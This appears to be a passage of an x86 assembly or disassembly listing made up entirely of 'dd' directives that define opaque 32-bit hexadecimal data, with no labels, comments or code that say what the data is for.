dd 7BF56088h, 0F011E1D9h, 747CEF75h, 5838A591h, 0B911A517h
dd 5205ECE2h, 8E4B296h, 38A24F04h, 57FD0485h, 242058h
dd 4194852Bh, 649C09B2h, 2112C430h, 0A548DF39h, 87565838h
dd 0C4F4501h, 401E8583h, 0C1A0B6F0h, 0C73A3D18h, 94A2ECCDh
dd 0A59F1314h, 0BE3E1Ch, 5E43AA1Ah, 0A4483CC8h, 74282F28h
dd 0AB01E453h, 4C62C603h, 3985288Ch, 0E400D031h, 0B3825EEAh
dd 0FABF87Dh, 1B384224h, 890F3360h, 2B3CDA50h, 1680D4C0h
dd 89A68530h, 0F8E8CDA8h, 0C8460F30h, 0B08E52h, 4BF2F6D0h
dd 146AD8FCh, 5C42A921h, 0A5979C00h, 0A7B24536h, 0A81F540Eh
dd 93E163DBh, 163B90E6h, 0C8A60748h, 40534559h, 0FD247A40h
dd 0D50DA9FEh, 702FE54Ch, 3E2CB7F0h, 0AD0CD615h, 0A088248Ch
dd 20A4F60Ch, 1FCBB122h, 4055D78Bh, 561EBEC1h, 0C438A154h
dd 0C248E0ECh, 160A02Bh, 3734578Ch, 0FD999245h, 3BB083ACh
dd 9CF0C4h, 49DD8AF0h, 20A715FCh, 0C561FD60h, 956DAEh
dd 7D4A1F91h, 425769F6h, 0BDDFEE00h, 0BE5B9F41h, 2B3E12D7h
dd 0F000AB20h, 0ED1302B5h, 76433DE5h, 7990B380h, 0DD1CDF07h
dd 0F371D600h, 8B68293Fh, 0F71000DCh, 5D1A296h, 200C794h
dd 0CCB09760h, 1E8C8E35h, 40CA1FA5h, 7DAD16DDh, 0E9001AA7h
dd 0E8F5109Dh, 7BA9B179h, 23A500B4h, 1AB375E5h, 0E37CDC9Ch
dd 0C486B80Ch, 3B60804h, 0D179BA1Eh, 0C0A79635h, 0A988BBFFh
dd 0B940A761h, 0BDF0E724h, 72AC14FEh, 39F40BFh, 77B0A7C2h
dd 985AF6C0h, 0B83C21F8h, 60305388h, 0C38BAE98h, 81CA61Ah
dd 0B48ABBFDh, 20D3DC00h, 0E8C288ADh, 5060A6AFh, 0AD368C5Bh
dd 0C28BE004h, 8A07BC1Ah, 0CAA964C3h, 0B8E6AE42h, 23BF18h
dd 24BE7DB8h, 6004C2E3h, 0C385EA0Ah, 0AEC12C35h, 0C440A586h
dd 0F8640387h, 565FFA80h, 0F87B38BFh, 806D0111h, 76AE21C7h
dd 1494D2B1h, 367A408Eh, 11FE8007h, 13639096h, 20DCA0BCh
dd 1FF8A0E9h, 0F6843BEAh, 85505AA8h, 0A7C05504h, 0C704D9h
dd 8E03DD99h, 7835E4ABh, 24DC871Dh, 1AC409BAh, 123481B0h
dd 3586B7h, 0C111C3D0h, 0EA5B1028h, 83982480h, 0A5A8BF00h
dd 0E919DCC8h, 40B64C75h, 0EA5A5063h, 0BF24E5D8h, 502033F1h
dd 0B439806Ch, 0EC822423h, 74605035h, 0D0FEC6AAh, 4426091h
dd 9A65F1BFh, 21F3020h, 0AF088AEh, 90C978EBh, 244026BCh
dd 7B81586Dh, 0E51EC278h, 0F05F5460h, 0D030E3ACh, 61A53C87h
dd 1CB19107h, 0AAC392B8h, 0A9F0C060h, 0C407A7B8h, 0B58BE455h
dd 8C40104Dh, 17B1F151h, 0B75B019h, 7002EA47h, 0FC61E716h
dd 0C0BCE058h, 9138A090h, 18E6BCA9h, 0A6601DC4h, 0C0AC901Eh
dd 0BD75E758h, 88307B1Ah, 0B9BC40A8h, 6FE87420h, 717C8B1h
dd 4C8AB453h, 0F07C8B30h, 0A1C7E878h, 0EBC0C375h, 0A18BF86h
dd 5FBD7DE9h, 7D044898h, 7F8A556h, 8579EB20h, 0FED4D855h
dd 78E3A70Bh, 0CA6031F0h, 2BC02E0h, 0EA55A58Fh, 0B84EC289h
dd 829D1893h, 0F0091992h, 8A1C83A9h, 8B44AFBFh, 0BCADE880h
dd 0C2AE7CB2h, 74E72030h, 8CC17CC3h, 86B6E0C2h, 6D22B114h
dd 0BE044660h, 79CA65A0h, 0BC4B359h, 5B61FC5h, 0E49C1AB4h
dd 0CBA4D55h, 9801138Bh, 60B725B5h, 21E91ADCh, 287CD3D8h
dd 0C4B8242Ch, 551C0749h, 58EA09FCh, 0E452C48Bh, 2450329Fh
dd 503BC0C8h, 20C4752Eh, 0AABFA507h, 69779D4Fh, 77C320C7h
dd 0E4EAA2ACh, 0C38B2920h, 3C0F692Ch, 0E7248098h, 34C27D26h
dd 0E9588518h, 20B305BCh, 0C1B58CB0h, 94FE866Ch, 0D218A680h
dd 9AA85004h, 91FF38DAh, 12F8EA04h, 0F0CABF3Eh, 24F84B6h
dd 1EB7ADB6h, 18877829h, 0C864C3D1h, 0B69905E7h, 3B88AD1Ah
dd 0B805C068h, 2CAAA8A7h, 0BD878E7h, 64A7ACADh, 0B61A5175h
dd 0B3185579h, 0F05044F8h, 95CAF61Dh, 86E8FA05h, 0A88320D0h
dd 38AF5C1Eh, 0C3E31A13h, 0A9A0BA44h, 3C9EAD20h, 3AD4E649h
dd 0A900935Bh, 1EB68A94h, 0BE1E8BE9h, 0C40BB822h, 0E28C8F07h
dd 0E090B916h, 74AC9C90h, 82987CC9h, 1DB750C0h, 0B821B460h
dd 0F623C484h, 4F1EE877h, 795049AEh, 0DC18C86Ch, 0E36825DFh
dd 0E08F5CF4h, 52801628h, 0D3EC34C2h, 0C417EC96h, 340B50DDh
dd 87AE21E0h, 0C8E090BEh, 0A078AD16h, 9D7BF0h, 997AFEE0h
dd 86AE23C2h, 0B3A8F00Ch
dd 0F792175h, 7DE9A9B8h, 0C8B0145Dh, 300E5527h, 10E0CC96h
dd 8010014Eh, 0BF10D438h, 1606A73Eh, 0E8E388E9h, 146BA9F8h
dd 0A160E328h, 1C2123C5h, 74E6DC00h, 202160A9h, 86E7ADA5h
dd 914B13Ah, 0C21FBF75h, 54E0EEB8h, 78F4C435h, 278CA47Ah
dd 0F83055FAh, 8A72B417h, 0D8D8CBF8h, 0A3C38788h, 8DA0A7DCh
dd 749F5881h, 15E78BCh, 8E59828Ch, 0E198BDB5h, 0EF47E19Eh
dd 0E5B08BBBh, 591E8DDBh, 45804299h, 5887EE9Fh, 6EB93E81h
dd 8FB39D0Fh, 28F89E06h, 88EE981Bh, 42BAA018h, 4EBD1E84h
dd 54703047h, 2E3ACEEBh, 2FD219AAh, 50FBFD08h, 0E9E2A30h
dd 438742CBh, 5A8FEEA0h, 45F0BA9Bh, 884C8C6Dh, 0E84B8DF0h
dd 568103B8h, 58BBBCCBh, 46C143A3h, 4B4EE080h, 871FA0F8h
dd 8C189F54h, 58F9BE8h, 80B78345h, 4445047h, 0B448AFBFh
dd 0B6428104h, 92DCC04Bh, 0B8008471h, 1266AA8Bh, 3D647CF9h
dd 0FE00AC53h, 0E2E988D0h, 0EA11A209h, 6703DC04h, 0C1F189EFh
dd 0C8C6E6E0h, 2C001AFAh, 389F6C8Ah, 25686Ah, 0B558F328h
dd 0A3BBCEE1h, 0AC0B6E0Ch, 3B2E589Eh, 9D01F456h, 70062B3Dh
dd 0A7A080A6h, 5DDB6827h, 6B7800A0h, 0D0F003B0h, 0B603F631h
dd 6CEFADA6h, 0EB2002FAh, 0BE7A5642h, 8370209Eh, 3821158Ch
dd 37F88EEh, 0EB5C4A24h, 417C069Fh, 0D009CB0h, 0F2A72394h
dd 0CCAF2B2Ah, 6B218E08h, 8B0DBC2Eh, 0D8610E00h, 1D98E7E2h
dd 586083A6h, 0EF55F025h, 20102364h, 68054F00h, 0BB621885h
dd 0A02937F0h, 763177C8h, 0D902809h, 0B0482290h, 4DE45700h
dd 0DDC72BF0h, 9FAA3A28h, 66759E02h, 0EC90F70Eh, 0E900483Fh
dd 0C9E1B7C6h, 0ACB34E1Ah, 53DF401Ch, 5BEBF9C0h, 241FAD0h
dd 3EA928E3h, 848496A5h, 0DB5609Ch, 0BF232395h, 6400B311h
dd 0E9EF0DBDh, 7E0726C3h, 8F615CD2h, 369F976h, 0CF10BE94h
dd 0C9E81B32h, 0D70012B5h, 0A4223955h, 0A1E71C27h, 98418CD4h
dd 3980E2C3h, 674CABFh, 9D576E4Dh, 65A20098h, 0C6B6087h
dd 48557D81h, 0D2A93426h, 49802F19h, 71BC0FA3h, 0EA0AA058h
dd 1C729222h, 1206FCC4h, 28A199EAh, 0F881CD1h, 0F5467FECh
dd 804B69E0h, 17146C40h, 3ED45E20h, 408E2A2h, 499CA0BBh
dd 0F2ADCCFEh, 725B38B0h, 0EEC37480h, 20085F91h, 0CF283D0Dh
dd 0E401D021h, 9011F187h, 888022D7h, 86A0205Ah, 1F72454h
dd 145CF19Ch, 70528861h, 4018118h, 146C90DDh, 0FE6C0F71h
dd 70B0EF7Fh, 36173FE8h, 34D85C93h, 36308CC9h, 8A3C2126h
dd 673C3h, 144FAEE6h, 715A0E85h, 5BEE4906h, 0DF7086A8h
dd 9FCE4490h, 0CBEC88C2h, 73EDA700h, 0A64A9A64h, 892666Ch
dd 0AC0021F6h, 341DED9Fh, 146E26B9h, 0BC819436h, 5A5310h
dd 2B3E1A54h, 0C6B9A8D9h, 41E5C3B1h, 95B3C500h, 0DF997EBEh
dd 23BA3D51h, 0E0C0EF8Ah, 244389B0h, 584F8087h, 0BBB3BA83h
dd 53B0189Dh, 0A857E91Eh, 94F82F28h, 0C44B8880h, 0B1CFE493h
dd 0BA842043h, 2EB460C8h, 0CD032474h, 94EE80FCh, 9B57B5E5h
dd 4FEF860Ch, 0C0E0086Bh, 0E59C8C21h, 0DD0029B1h, 76544113h
dd 280B6694h, 15B8BD6Ch, 84E73C21h, 39D10418h, 36052B9Eh
dd 78C08ABh, 3D89F400h, 32A8103Ah, 75A0FCCBh, 609CD484h
dd 214CEDA4h, 0ADC0A264h, 1C44ED9Ch, 4020A59Ah, 0B9D5E867h
dd 79C0D366h, 9ED9AFB0h, 3A871C26h, 40D7C08Ah, 0A97DCE54h
dd 5FBB5014h, 94E00C0h, 0C05378C5h, 141C926Ch, 0D8EBACEFh
dd 851FEA00h, 2A36BCAAh, 4E0E4092h, 20A72E73h, 0AFD2CF7Eh
dd 5508CC66h, 7B016F21h, 0B876B92Eh, 0FADC74A0h, 23C8A001h
dd 24A783C8h, 62E49403h, 98047184h, 48EDF067h, 4B434264h
dd 0A11EF322h, 8040EDA0h, 8344E0E7h, 0A69C0BD0h, 68049E7Bh
dd 54FA44E1h, 0AC94E888h, 0A3FF0980h, 1421C52Bh, 8C757B60h
dd 31213618h, 887700BCh, 0C9B35BB7h, 0F5004D28h, 1B7D64A8h
dd 0C02D56FAh, 0B44B8E29h, 5906F4B0h, 0D01FC904h, 3C1932FAh
dd 3C0A7C58h, 95807511h, 9357B6E5h, 8DE3448Ch, 11E59D00h
dd 0C27E922h, 0AECCA0DFh, 7F01857h, 0C342B8EBh, 0EEDEBE00h
dd 92413954h, 0F8C91597h, 0B90CAC5Fh, 5551D07Ah, 0D66FD83Dh
dd 1B506278h, 3BA900C0h, 0CF17DC09h, 1C0EEBC9h, 813EF064h
dd 2182047Ah, 80B40C53h, 70856218h, 484DCB30h, 248F07B6h
dd 111C2735h, 2E4D81BEh, 31D6A7A5h, 756D105Bh, 9E90032Eh
dd 27FB5083h, 3B645042h, 0D9E854C3h, 6952EE00h, 946492A1h
dd 0D1D0096Ch, 8083A39Fh, 304CD51Fh, 48C79DCh, 23900D88h
dd 20B16287h, 5A0DB067h, 0B33D7E01h, 0FE4037A7h, 368BF886h
dd 8300A95Ch, 0E655532Ah, 9C1F732h, 7FCA13ECh, 8815BF00h
dd 19042B4Ah, 0B0E0D5B4h, 6C0F43C0h, 0A0E8B2F6h, 732A410Ch
dd 2484B885h, 7C0C5C3Bh, 1600EA46h, 7DBD7ACDh, 4F241DFDh
dd 60C0A863h, 3B87365Ch, 0F5A8E1B6h, 71A14688h, 238E0D08h
dd 4EB2C497h, 0EC0DA761h, 15ACB400h, 0DF70149Eh, 0AEA2CC46h
dd 311E206Ch, 4C2EFAFBh, 0B8EF4740h, 6480A1D5h, 0C08F34F0h
dd 0E2B8E28h, 940C5E2Fh, 31243768h, 0AF300B5h, 881404C9h
dd 4449173Bh, 23698038h, 8B2F9770h, 54F910E0h, 78118F00h
dd 74059804h, 0F426F1B2h, 0E7E8F848h, 51D5058Ch, 0C23EB1A7h
dd 7490AD58h, 3B64AA36h, 90607058h, 572489E5h, 0F873E8BBh
dd 15A4E598h, 0B4BE046Dh, 8102083Fh, 0DA1F6716h, 8FD2E8C0h
dd 602A2126h, 0D46B6440h, 2D78C18Dh, 49D64C37h, 82F061A8h
dd 78959C18h, 0A9346887h, 941899E8h, 0F6E980A2h, 82E930h
dd 0A9C3FEB1h, 3B7809C8h, 50D58700h, 703DAA1Eh, 8244833h
dd 3665B9A1h, 0C0631038h, 43164FA0h, 95E0EB10h, 8B104048h
dd 0E38C50F1h, 7BD95540h, 190093F9h, 0E6E778B9h, 0CFF0B007h
dd 3FCDB660h, 7C057202h, 97F5CCEFh, 0BB1C0260h, 0CD376CC9h
dd 0E46204D4h, 90C49007h, 0F2390006h, 10A86B85h, 910BE4C5h
dd 18683F47h, 58DCAF88h, 2730688Dh, 2F60E0F1h, 9106E492h
dd 0CF983F25h, 0C6660030h, 0F615D087h, 78143DA9h, 0A5984F4Bh
dd 0C09ECC08h, 23970DB3h, 0B022AF46h, 0DBB6A09h, 3022898Ch
dd 1252B978h, 4FB2E21h, 12A6E40Ch, 0B09CE00Eh, 0E224484Ch
dd 7CE70BA0h, 6517C014h, 5C20D904h, 12BD8543h, 91DBE2h
dd 29D85685h, 7A03E351h, 3881CA83h, 3A08857h, 0B840D5FBh
dd 4B85558Fh, 8348BCCh, 4BC977D8h, 0E4CC5400h, 2713A41Eh
dd 0B840E548h, 2F3FD507h, 0E9210084h, 0EC88AF3Dh, 6C93D39Ah
dd 4D37BA38h, 1F8001Ch, 3F40E9A3h, 78F0361h, 4BDC3DF6h
dd 7486E690h, 0B783A601h, 4E795487h, 102044C1h, 0AA848880h
dd 8058B159h, 0A7A82E48h, 68008756h, 6F0B2E70h, 24C977E9h
dd 0C02CB5EDh, 0E6F91388h, 37F28898h, 9B77D0Ah, 281DC8EAh
dd 78B220h, 2F150135h, 0F2731E4Dh, 8987AB01h, 597F5153h
dd 21170898h, 0F2006B44h, 0BEAB9778h, 0A03060h, 280CD2BCh
dd 0F6831335h, 401407Ch, 504D9959h, 0FED032FDh, 0A74F0014h
dd 0A1B86FC1h, 0B0331922h, 7430891h, 0C19F7121h, 5A27C33Eh
dd 66C389D0h, 401B7900h, 20E624B6h, 9CCA0FFDh, 9561115Eh
dd 803BD00Ch, 424FAB80h, 57156853h, 13C86885h, 148825C1h
dd 1ABBE0C3h, 9EC0C742h, 0D80A26B4h, 0A77C0C00h, 9AC48190h
dd 805F6010h, 67FEB772h, 0C0511730h, 596D2Fh, 5AD68AD8h
dd 42CE3339h, 216708CCh
dd 0D8510090h, 3D2170FBh, 24E21C8Bh, 6647EE05h, 0A3C179BCh
dd 885736FEh, 3C2AB8D0h, 0B5F90790h, 6FEDE97Bh, 0FBAE583h
dd 0CE58982Ch, 40B04F1Ah, 0D238FAB1h, 2FD88318h, 0D7D81863h
dd 1050F293h, 17821056h, 806A1160h, 98BA1D19h, 1F61EC63h
dd 197CFA3Eh, 20879675h, 90A05D06h, 7E78A690h, 134BE21Eh
dd 820A5126h, 0FE06BCF2h, 3EE938FDh, 6D0060B8h, 0A525C247h
dd 8300DAF7h, 4632DAAh, 3B82765h, 0A42F7EFFh, 410018E6h
dd 5D108E34h, 1971AB9Eh, 8739602h, 5B218031h, 0D12E1086h
dd 53CC2F41h, 1A074C54h, 1145ECA0h, 9A0C8020h, 14FA0A4Dh
dd 648CD6C5h, 3E806464h, 0AC42D687h, 8D64448Ch, 81D84E38h
dd 3E7CEEA3h, 302402D5h, 0E0D40164h, 0D89A87FEh, 0BA8C4060h
dd 1464681Dh, 90984F78h, 6EC108A6h, 4CC499B8h, 0C19E7040h
dd 0D73B922Bh, 2AF4001Ch, 4C57D968h, 5CBE49B3h, 0AB2F7F1Fh
dd 10880794h, 627BA457h, 8055202Eh, 82040910h, 31C6D244h
dd 0E8BFAC80h, 0ABE3102Eh, 0AA870646h, 2C15874h, 0EC98F70Dh
dd 98801472h, 0B21E734Dh, 417F0A18h, 88FE30h, 0A0519D48h
dd 1CCF05EFh, 108470D0h, 0BC005AACh, 44BE7BEAh, 0E801FD53h
dd 0D281A58Ah, 208179B0h, 6515C12Fh, 4C204F82h, 62204245h
dd 170F020h, 8AF80C3Eh, 0C8093680h, 0F4A3080h, 5CE5F965h
dd 8F1369F6h, 5C5C61C7h, 0ECA0D218h, 49C67A1Ah, 976A1C01h
dd 9BC82793h, 9FC95F0h, 50BA6525h, 0FBE8082h, 0ABFB503h
dd 1EE7E074h, 0C02780B0h, 0AC974540h, 30B1F901h, 266B032Eh
dd 80235832h, 0A6F26E01h, 19186187h, 663F88h, 38B1A1F2h
dd 5847FD27h, 83DB0A06h, 11C069C2h, 255B224h, 48AA079Eh
dd 8E88817Fh, 45DACE4Ch, 6032E4A4h, 0C6391Bh, 4D75C29h
dd 7F6F43CCh, 0EB20D490h, 202C9031h, 14182EE6h, 2341A8FEh
dd 0B81601EEh, 664BFA8Ch, 45C8E06Dh, 0DA5CDF08h, 0A2984CB3h
dd 108C048Ch, 389B9E5Bh, 10843B59h, 54017487h, 30A0AF28h
dd 0EAB8AA95h, 0B0298F28h, 4049FDFAh, 7FA209A0h, 5EB2006Eh
dd 3BDB710h, 0B9F2A32Ah, 0EBC06695h, 40A0885Ch, 4626BA7Ah
dd 5902A05Dh, 43F28Bh, 0D3C405CFh, 3C7458h, 534517D4h
dd 28CC9E4Eh, 0F801D1Eh, 338D81A6h, 449A0D83h, 0E2BA8106h
dd 7C982BB3h, 50993DC5h, 21301B98h, 6F8CE95h, 0BBD12306h
dd 9703946h, 36D23E15h, 8C4002Ah, 0B8287D9Ch, 45186810h
dd 72B4230Ah, 0BFCE80FCh, 24D25DCFh, 7622D490h, 990D1A0Fh
dd 90A07141h, 532B4DCh, 74121D8h, 0CD8303ACh, 0AA1647Ah
dd 0F30B3380h, 0E9E05140h, 97025800h, 6C681D50h, 60DC6449h
dd 101EB049h, 7E8C2CACh, 0CAEF1004h, 9D071483h, 94CBBEB4h
dd 8F5C0020h, 0B07BCD02h, 4801CC0Fh, 7084B590h, 9C203113h
dd 6F048C81h, 6987A7F2h, 67004038h, 0BAF772F2h, 2689C5A0h
dd 189CF41Ch, 69F7182h, 0B688A493h, 0BF028E4Fh, 93D9039Ch
dd 20083B62h, 0C4E337Dh, 41296118h, 5E6B7C00h, 83BA58C3h
dd 0E5590016h, 2A64B796h, 0EA26366Fh, 8B0A5CFBh, 2F029C2Ch
dd 6360B2h, 188D5C82h, 6B99C91h, 7E50B1FFh, 1E2E1420h
dd 1F03885Eh, 5D18B96Fh, 0C1857900h, 3D9FD3BEh, 58BA3F91h
dd 8477B49Ch, 81904550h, 8846A2D4h, 8052BAD9h, 0F97E2806h
dd 3E0A4E7Ch, 0C40482C4h, 2D873031h, 29E2CC23h, 0F08CDD33h
dd 437D00E6h, 6B778CB1h, 70729313h, 0E704E49h, 91D83E6Eh
dd 78A20904h, 0D67F0079h, 0C34C0A93h, 5C187528h, 0BCA9B913h
dd 1A84CD00h, 41B96B9h, 34E97C5Eh, 3E44C2A3h, 9A8BAE20h
dd 3C424874h, 4E23BA09h, 0B78080B7h, 0AC72CD85h, 4E1E00BFh
dd 0D895AE59h, 0E8177BCCh, 200453E3h, 46000FD2h, 621CA287h
dd 21E7D492h, 374C20D5h, 0C65D1F40h, 0F97EB588h, 0BC99E4A1h
dd 9C972A08h, 5AC4AF50h, 0B0652440h, 309B22C8h, 0A8849A24h
dd 0DFD2F585h, 7D452890h, 0AFAB16B6h, 1E3464DCh, 26875284h
dd 20DF6824h, 20061353h, 5D80E5FDh, 0AB814854h, 0CEB873C1h
dd 75114431h, 0EC8EF5A3h, 1628937Eh, 1E3CD43Fh, 9C034AB4h
dd 0C4CCE8Ah, 57980DE0h, 8609E839h, 4A849F0h, 34906AC0h
dd 35E32F0Ah, 4B02707h, 0E599804h, 9FC1518h, 20569BD6h
dd 0F399D41Ch, 646F5269h, 2AEC891Eh, 0C5B37B24h, 4025E7D8h
dd 779326E8h, 33135F6Ch, 9A00C914h, 90B755B6h, 0CC44E32Eh
dd 508C04C4h, 0C7625BCh, 14070C29h, 3BFDC3B8h, 0CE88D100h
dd 298062E1h, 1405762Eh, 0E839D973h, 0CD12AF80h, 0A600B4A2h
dd 0D8352AFCh, 0C15F5A8Bh, 0B6C4A0C8h, 9D609909h, 6C368430h
dd 0AAF27202h, 18318187h, 0F26A4310h, 5B838009h, 0D5318011h
dd 4C0D20BAh, 0B080E896h, 12EAA63Ch, 12FDAA39h, 4C4F68CCh
dd 0B4240245h, 0D8B0A336h, 5FA810CFh, 937804B7h, 24B2421Ah
dd 3C469B08h, 36309420h, 53098903h, 0CF02027Ah, 2006BC9Eh
dd 38C69893h, 408AB310h, 5B380780h, 0F0CF7CF4h, 18C66D3Eh
dd 8C6A3092h, 0D8085CBCh, 0C472D68Dh, 54934066h, 1DD44ED8h
dd 0B1C63E95h, 805E1850h, 130BCE21h, 0E45633h, 651FD58Dh
dd 0BB84BDF1h, 0B0953D24h, 22D6E08h, 1C2AEC3Eh, 9F4EC4A0h
dd 98ACA6F9h, 54D53E26h, 0CA28940h, 44A4AE76h, 8902B392h
dd 5F02BCEBh, 994C430Dh, 8022349Bh, 5CD3506h, 62398061h
dd 12CC4CD2h, 0C40F17EEh, 1CC384B8h, 1C6010A5h, 872740D7h
dd 91D0CA35h, 31BB7404h, 37970D05h, 0C912D0F8h, 149B52B9h
dd 53494828h, 0C1AA80F0h, 9CB9B872h, 0A27458C8h, 387EC132h
dd 9A0C40F7h, 9B5680FCh, 397A20h, 0F0CD8165h, 2B78896h
dd 0DE77CE05h, 90C12CD8h, 0C4243EC3h, 0F07F53F8h, 0AC3069A2h
dd 7EF01CA9h, 1D936E8Bh, 8EBB84BAh, 24288C48h, 6ED02510h
dd 7532AF0Fh, 70C53089h, 736069E4h, 11029B0Bh, 0D76FFC80h
dd 3C546C8Dh, 9317B5C6h, 3B041366h, 8C7F90h, 0D4342AEBh
dd 45E0685Bh, 4A86E713h, 0AC43842h, 0BED8022Ch, 8AC230C3h
dd 0D0F1B859h, 5ED0C81Fh, 18955E09h, 90BC86D3h, 59245CB0h
dd 0E8058453h, 0D33BD2F6h, 1804FF78h, 0D09A074Dh, 0A9764A0h
dd 0FDF9E505h, 36DE09B4h, 0CEF868EEh, 4A2EECB0h, 0C6425010h
dd 8265042Fh, 84506C34h, 47D4E25h, 908194A8h, 90027FBh
dd 5702A4D5h, 5C3C9AC5h, 1BC5111h, 1AD92197h, 7E405EEFh
dd 13110F42h, 92B44D22h, 60441804h, 720D3A00h, 2558BA20h
dd 4FE00BC0h, 4C6C8314h, 0FE6038D1h, 0B3352B00h, 0C2384D81h
dd 25DC083Eh, 4E880552h, 1038A454h, 3A1A5F86h, 3C40192Eh
dd 39768803h, 84428327h, 349216F0h, 93C882CAh, 95D448EEh
dd 0E00D48ECh, 4504484Ah, 0A209D347h, 5BE8886Ch, 59B3882Ch
dd 322054A8h, 0EC9F0849h, 0D0021596h, 59441ABBh, 48991158h
dd 4E97B94h, 1388D404h, 98CE6402h, 39ED88Eh, 99783E5Ch
dd 0CCD289B8h, 81307C67h, 3694A2DBh, 2AB0210Bh, 8792D023h
dd 406B172h, 0DC651CD7h, 0EAB37328h, 94374C12h, 9E631010h
dd 0FF062710h, 187238C9h, 0B2D2B81Ah, 821C4191h, 7002BC66h
dd 7187A8F2h, 41101431h, 9B07F268h, 808F232Ch, 54A16A54h
dd 1EA786F0h, 44997658h, 82F9CC0Dh, 2068C92Ch, 4D0801C7h
dd 160C293h, 0DF02B875h, 0B5A08933h, 93D84331h, 6D305021h
dd 3C0A85Fh, 0F676008Eh, 2958F0EBh, 930125F1h, 17E14DD6h
dd 65EC9062h, 0D0CE0995h
dd 1C02B377h, 3E004102h, 0A01716CCh, 2D83D6D8h, 8A25E96h
dd 0C40F19Ch, 0EC27B55Ch, 2820A718h, 0AD57AB41h, 0E0415AD9h
dd 7E0007D0h, 4E1EE3DFh, 42CF68Bh, 0BBD68F81h, 108938B6h
dd 302039FEh, 46441FCEh, 51DEA201h, 5F15BEDAh, 3C40E5F1h
dd 5C0A9370h, 0DA848860h, 2AC01819h, 62FD8142h, 0AEED00A0h
dd 4E3C7EA3h, 58963293h, 0E8827420h, 94CB16B7h, 6573CB1h
dd 83E20B8h, 0FF5E1C96h, 0F713EA18h, 6806FA82h, 50087FECh
dd 0D64DC810h, 0BDC6F59h, 80F1CB3Ah, 0B8967CAAh, 264730EAh
dd 5848AAC1h, 0CBDA9883h, 49309919h, 984ECC85h, 0C10BA5E8h
dd 6591B86Dh, 9D6F8020h, 0B39AFAC1h, 3EFC721Dh, 0BA896887h
dd 6B3BD87h, 29C08FCFh, 0C6B6977h, 2DA7DA60h, 14905D78h
dd 9849B044h, 404E2E68h, 2C983D2Ch, 0B37A3AF7h, 23F42759h
dd 0D85B0169h, 186AD68Ch, 53928863h, 0A4F2D803h, 0D0B07B4Ah
dd 0AD2EBE4Eh, 601764B0h, 1639D5Eh, 144020C8h, 791162C5h
dd 0FAF8E87Ch, 311601B6h, 0D5272B66h, 8A9060E1h, 0A3884A8h
dd 0A6466725h, 801941B8h, 801637E0h, 406954Eh, 7ECAFDE8h
dd 58183021h, 0AB768369h, 577873Dh, 92EF3F1Fh, 0D7CD5C20h
dd 547490C4h, 12278C5Dh, 225F88AAh, 0E7222B74h, 1604C821h
dd 0EB7B3Eh, 0F44F3BD1h, 0F11F27BAh, 62186518h, 6DDF79h
dd 0E17A360h, 3F21EAF7h, 2A87C400h, 5E1ECF9Dh, 5C15260Fh
dd 22640864h, 3F39D420h, 4D2B12B7h, 0E9C1D437h, 1820892Eh
dd 27FF1C8Ah, 0CC075535h, 248E0207h, 69AC00EDh, 9E1F4A46h
dd 4FA026BCh, 0E7000A7h, 0EA307510h, 9C49BF28h, 21825F4Bh
dd 10A058F0h, 2754E693h, 915C1765h, 36B2804Ch, 7F0E8A84h
dd 23E0038Eh, 4ECFCE5Eh, 363941A9h, 0BC492450h, 8418BAC2h
dd 75282FCh, 6133E5B8h, 520583DBh, 0B4D2FD90h, 0EA8E2117h
dd 0A1A82900h, 0F150ABh, 0CED9B5C8h, 87EDC04Ch, 8E675100h
dd 0BA655DACh, 58F759DAh, 61221457h, 0E407DCFAh, 8FCC6F0Fh
dd 0B2A3EB00h, 39F80140h, 4B8B1BE3h, 617C6190h, 0D488424h
dd 0FCC3FAD4h, 96A1386Ch, 0EF54E901h, 7502B560h, 0C0B45B1Ch
dd 42F9DDA5h, 0A014057Eh, 0C821EEBCh, 0E18BFC94h, 18757AECh
dd 442E1C30h, 2448BA40h, 421A1198h, 864FD210h, 7FC82F0Dh
dd 0D9049930h, 0B5181Bh, 0A8457055h, 0E49F3DC5h, 18589658h
dd 33291036h, 9C30066h, 0A8AA994h, 6F002462h, 7303F570h
dd 1E977FE3h, 0CE5FAE8Fh, 9A290DB4h, 7C9968E9h, 8C46B8E4h
dd 0A878243Eh, 0AE208CE5h, 0BD5C011Fh, 0BE0AAFE7h, 88EC6C13h
dd 207CA86Ah, 87FA483Eh, 857CE092h, 0A8E68B2Ah, 53186E18h
dd 2195031h, 81CD23AAh, 246234D2h, 11F3C0D2h, 99BA42FDh
dd 0ED82E000h, 0EEABD9FAh, 3DE3F801h, 9E7C9FA5h, 714AF5E0h
dd 0B7EC0998h, 24492B01h, 0C441A9B6h, 981843D1h, 8080174Ch
dd 0EDE3BB62h, 1EE70234h, 0FD8E2B8Bh, 0EC7824E4h, 85130501h
dd 0CA7F783Eh, 2F958088h, 0B70EA0A8h, 136E0A65h, 0F1D11804h
dd 66F80812h, 89D858C0h, 225246D6h, 508F0068h, 0A58ADD8h
dd 0B012C0B8h, 0F400322Dh, 3673F6E8h, 0D78B698h, 3CEAA227h
dd 0E6632254h, 0BC80C87Dh, 1A895C86h, 97CD3BA9h, 0E5178B05h
dd 0A048B0EBh, 108A048Ch, 628B9E59h, 8257202Dh, 943AD110h
dd 68B8B2DBh, 87AD2034h, 6C62A4CAh, 22D93E90h, 0C505F4Dh
dd 1FE7E509h, 0F0D84CD1h, 0B0848A3Fh, 0F2746086h, 918723ACh
dd 45001211h, 50E3F26Ch, 822FB416h, 0E8808A29h, 0BA043C11h
dd 132AB0Ah, 6F30AA89h, 22659852h, 6AC29BD6h, 432ABC52h
dd 87429CF2h, 24B07A00h, 0D77F2B7Bh, 3C54EA79h, 0E303F3FCh
dd 0FF4846CAh, 0B75CC0FAh, 41992D7Bh, 8071A0B2h, 9A184679h
dd 0CCF4BB01h, 8A6BC1Eh, 927C4C29h, 5E28B6B8h, 0A9022C46h
dd 0B8E95636h, 5FAFFC0h, 5DF39804h, 0E4F5A40Dh, 54DBE2F8h
dd 0A0D59C3Ah, 822033A4h, 6354E882h, 4007C222h, 402ACECCh
dd 2E187228h, 0E738A07Fh, 0D8055120h, 54920030h, 20CCB43Ch
dd 4C00A7CAh, 0D08770D1h, 925B96BBh, 64A30A0Ch, 7820684Eh
dd 958CA4B9h, 6A919C97h, 0E8E6B680h, 27070D8Ch, 3BFB3AE2h
dd 67C8D251h, 9017E097h, 6102E6FCh, 0E03F1C00h, 75C95AE7h
dd 1795EE65h, 0D3AF24ECh, 0F6D3076Ch, 0A0579F88h, 0E800EF4Ch
dd 47E38C69h, 0AD31F0DEh, 450B3C49h, 2E84BBCEh, 0B2A18068h
